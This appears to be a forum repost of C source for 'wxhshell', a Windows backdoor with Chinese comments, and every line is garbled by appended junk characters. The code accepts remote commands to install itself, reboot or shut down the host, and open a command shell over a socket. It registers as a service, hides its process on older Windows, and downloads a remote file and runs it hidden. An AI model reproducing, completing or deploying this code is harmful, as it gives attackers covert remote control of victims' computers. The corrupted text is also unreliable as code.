  else "G)?  E|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); phSP+/w  
  } X0=- {<W  
  else { RIc<  
l7um9@[4  
    switch(cmd[0]) { ;.a)r  
  8rNxd=!  
  // 帮助  )U`kU`+'  
  case '?': { Tj+WO6#V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5X-{|r3q  
    break; !]T|=yw  
  } '(>N gd[  
  // 安装 ?`}U|]c  
  case 'i': { 4f-C]N=  
    if(Install()) @"2-tn@q_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 9-\cQv  
    else 9K(b Z {  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q :|E  
    break; ^i 7a2< z  
    } `Yve  
  // 卸载 4D$E  
  case 'r': { Q+N @j]'  
    if(Uninstall()) <(%uOo$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :9qB{rLi}  
    else Wd<}|?R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9V!K. _Cb  
    break; ,%<77LE  
    } M#|xj <p  
  // 显示 wxhshell 所在路径 K)Ka"H  
  case 'p': { %LmB`DqZ  
    char svExeFile[MAX_PATH]; AkC\CdmA  
    strcpy(svExeFile,"\n\r"); pDfF'jt9  
      strcat(svExeFile,ExeFile); 4TV9t"Dk+c  
        send(wsh,svExeFile,strlen(svExeFile),0); =T6\kz9)`  
    break; @) wXP@7  
    } }c:0cl  
  // 重启 8t; nU;E*  
  case 'b': { 9r}} m0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b5C #xxIO  
    if(Boot(REBOOT)) ibL;99#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T]k@g_  
    else { r|8..Ll  
    closesocket(wsh); lPP7w`[PA  
    ExitThread(0); Ok\UIi~  
    } GM~jR-FZ  
    break; ::w%rv  
    } kY&j~R[C  
  // 关机 :l{-UkbB  
  case 'd': { W=+ag<@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SM?<woY=*  
    if(Boot(SHUTDOWN)) d7Z\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u]-$]zIH  
    else { \!Pm^FD .  
    closesocket(wsh); yR-.OF,c  
    ExitThread(0); I(|{/{P,  
    } (>'d`^kjk  
    break; 'UCL?$  
    } dXQWT@$y!E  
  // 获取shell 7EUaf;d^  
  case 's': { |H49 FL  
    CmdShell(wsh); $TiAJ}:  
    closesocket(wsh); ,P]{*uqGiB  
    ExitThread(0); u)ItML  
    break; 57rP@,vj  
  } *{Vyt5  
  // 退出 A,@"(3  
  case 'x': { mqpZby  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1l{n`gR  
    CloseIt(wsh); z841g `:C  
    break; XCY4[2*a>  
    } I;LqyzM  
  // 离开 4l:+>U@KU  
  case 'q': { w@R-@ G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W%x#ps5%  
    closesocket(wsh); ZO}*^  
    WSACleanup(); 5NK:94&JE  
    exit(1); z Ey&%Ok  
    break; 7O j9~3o4  
        } z;)% i f6  
  } pw8'+FX  
  } l\)Q3.w  
LBzpaLd  
  // 提示信息 X^`ld&^*({  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K7U<~f$OiN  
} Z2r\aZ-d`  
  } `1dr$U  
b`' ;`*AN+  
  return; JT<J[Qz5  
} :Li)]qN.I  
2]l*{l^ Bl  
// shell模块句柄 v%r!}s  
int CmdShell(SOCKET sock) f/xBR"'  
{ |?8wyP  
STARTUPINFO si; Oc1ZIIkh\  
ZeroMemory(&si,sizeof(si)); BC^WPr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lsd\ `X5,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( s*}=  
PROCESS_INFORMATION ProcessInfo; QLn5:&  
char cmdline[]="cmd"; K4~dEZ   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sq,x@  
  return 0; .%o:kq@B  
} NGxuwHIQ8  
8LOzL,Ah  
// 自身启动模式 94+#6jd e  
int StartFromService(void) ??4QDa-  
{ 5M3QRJ!  
typedef struct  GY>0v  
{ mcvTz, ; =  
  DWORD ExitStatus; 6%? NNEM  
  DWORD PebBaseAddress; !eW<4jYB  
  DWORD AffinityMask; K% ;O$ >  
  DWORD BasePriority; %(i(ZW "  
  ULONG UniqueProcessId; Adh CC13B  
  ULONG InheritedFromUniqueProcessId; H 74hv`G9  
}   PROCESS_BASIC_INFORMATION; 0x84 Ah)  
8164SWB  
PROCNTQSIP NtQueryInformationProcess;  /YHeO  
j_Fr3BWS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XHV+Y+VG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1BF+sT3  
0kDT:3  
  HANDLE             hProcess; S5;q)qz2J  
  PROCESS_BASIC_INFORMATION pbi; db`<E <  
K_xn>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CZ @M~Si_  
  if(NULL == hInst ) return 0; $iV3>>;eh  
8.@ yD^'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HwOw.K<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &{8 "- dw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7+0hIKrFC  
6;VlX,,j  
  if (!NtQueryInformationProcess) return 0; f!87JE=<  
4h|D[Cb]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R,(^fM  
  if(!hProcess) return 0; !R-UL#w9W'  
BR|dW4\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~{HA!C#  
r J&1[=s  
  CloseHandle(hProcess); ='s2S5#1  
G|o-C:~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &" b0`&l  
if(hProcess==NULL) return 0; Lbd_L  
G"'DoP7p9  
HMODULE hMod; PRs[:we~~  
char procName[255]; ar{Yq  
unsigned long cbNeeded; ~j UK-E  
?p`}6s Q}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E3`KO'v%  
~_K   
  CloseHandle(hProcess); Dq\#:NnKvx  
WvR}c  
if(strstr(procName,"services")) return 1; // 以服务启动 "~GudK &  
thOCzGJ$  
  return 0; // 注册表启动 p@P[pzxI  
} c45Mv_  
luV%_[F  
// 主模块 am`eist:  
int StartWxhshell(LPSTR lpCmdLine) mv5!fp_*7  
{ 3b|.L Jz+  
  SOCKET wsl; ^  K/B[8  
BOOL val=TRUE; `W"-jz5#=  
  int port=0; $ \jly  
  struct sockaddr_in door; &98qAO]Z  
F M`pPx  
  if(wscfg.ws_autoins) Install(); n 6oVx 5/  
$UKDXQF"  
port=atoi(lpCmdLine); |>VHV} 4)<  
h1,J<B@  
if(port<=0) port=wscfg.ws_port; L&l> ?"_  
`OduBUI]]  
  WSADATA data; Y5K!DMK Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ')_jK',1  
AX6e}-S1n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I(<1-3~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T `N(=T^*  
  door.sin_family = AF_INET; Xa-]+_?Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )U8F6GIC&}  
  door.sin_port = htons(port); |]Ockg[  
vh T9#) HI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4iDo.1B"  
closesocket(wsl); !zD| @sX{  
return 1; GlVq<RG*  
} `,TPd ~#~  
0ro)e~_@*  
  if(listen(wsl,2) == INVALID_SOCKET) { 3fpX  
closesocket(wsl); 9;.dNdg>  
return 1; Ey)ox$  
} !m78/[LW  
  Wxhshell(wsl); k~Gjfo  
  WSACleanup(); WMrK8e'  
T_pE'U%[  
return 0; 1298&C@  
/K'Kx  
} iPxSVH[  
KPKby?qQ^  
// 以NT服务方式启动 dBCg$Rud&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (/PD;R$b  
{ 6Ba>l$/q  
DWORD   status = 0; @Yy=HV  
  DWORD   specificError = 0xfffffff; [4 "%NY  
^ .>)*P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3&_(D)+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g=a-zg9LX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ""TRLs!:M  
  serviceStatus.dwWin32ExitCode     = 0; h%#@Xd>.  
  serviceStatus.dwServiceSpecificExitCode = 0; )TG\P,H9  
  serviceStatus.dwCheckPoint       = 0; {d=y9Jb^  
  serviceStatus.dwWaitHint       = 0; V5R``T p  
\\)3:1X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6VRVk7"  
  if (hServiceStatusHandle==0) return; #uKHw2N  
4ajBMgD]KG  
status = GetLastError(); -j<m0XUQ  
  if (status!=NO_ERROR) 3vDV   
{ ;9d(GP}eE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V.;0F%zks5  
    serviceStatus.dwCheckPoint       = 0; `Q}.9s_ri  
    serviceStatus.dwWaitHint       = 0; QTM+ WD  
    serviceStatus.dwWin32ExitCode     = status; ;sb0,2YyP  
    serviceStatus.dwServiceSpecificExitCode = specificError; URY%+u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )6Z)z;n]aW  
    return; 3 nb3rHQ  
  } !i{@B  
nbhx2@Teqe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n0nkv[  
  serviceStatus.dwCheckPoint       = 0; 9NKZE?5P|D  
  serviceStatus.dwWaitHint       = 0; & 9IMZAo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BYP,}yzA  
} !dGy"-i$h  
1 BVivEG  
// 处理NT服务事件,比如:启动、停止 ;z!~-ByzL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2x'JR yef  
{ to+jQ9q8  
switch(fdwControl) 0G;RMR':5  
{ ai#0ZgO  
case SERVICE_CONTROL_STOP: ^h=;]vxO  
  serviceStatus.dwWin32ExitCode = 0; ( ]'4_~e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %5jxq9:K  
  serviceStatus.dwCheckPoint   = 0; zI(b#eUF  
  serviceStatus.dwWaitHint     = 0; [JsQ/|=z  
  { lLo FM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XgU]Ktl  
  } sg{>-KHM  
  return; P !6r`d  
case SERVICE_CONTROL_PAUSE: *T*MLD]Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H|==i2V{  
  break; 8%I4jL<  
case SERVICE_CONTROL_CONTINUE: 7S),:Uy[\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RVX-3FvP  
  break; ;w[|IRa  
case SERVICE_CONTROL_INTERROGATE: :@19,.L  
  break; k2p{<SO;  
}; GXJJOy1"!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ln#Lx&r;|  
} A.*}<  
TE^BfAw@  
// 标准应用程序主函数 Uo5l =\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b'uH4[zX%  
{ L@9"6&  
bZ:w_z[3=  
// 获取操作系统版本 ZN',=&;n'  
OsIsNt=GetOsVer(); 5H`k$[3V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?ZE1>L7e  
8x[q[  
  // 从命令行安装 $UgM7V$  
  if(strpbrk(lpCmdLine,"iI")) Install(); zd"o #(sv  
~{oM&I|d8  
  // 下载执行文件 ;&?NuK  
if(wscfg.ws_downexe) { <wc=SMmO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?,TON5Fl-  
  WinExec(wscfg.ws_filenam,SW_HIDE);  jats)!:  
} <JDkvpckx.  
Z3T:R"l;  
if(!OsIsNt) { |Zncr9b  
// 如果时win9x,隐藏进程并且设置为注册表启动 eB^:+h#A_  
HideProc(); 8xZN4ck_@  
StartWxhshell(lpCmdLine); lRX*\ M\`  
} jW"C: {Ol;  
else hyVuZ\9B  
  if(StartFromService()) r68'DJ&m3  
  // 以服务方式启动 HmAA?J}  
  StartServiceCtrlDispatcher(DispatchTable); mS0*%[S {  
else ?UQE;0 B  
  // 普通方式启动 ,d@.@a] `  
  StartWxhshell(lpCmdLine); >/eQjp?:  
@ 4j#X  
return 0; {pm>F}Cwy  
}
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只看该作者 1 发表于: 2006-10-10
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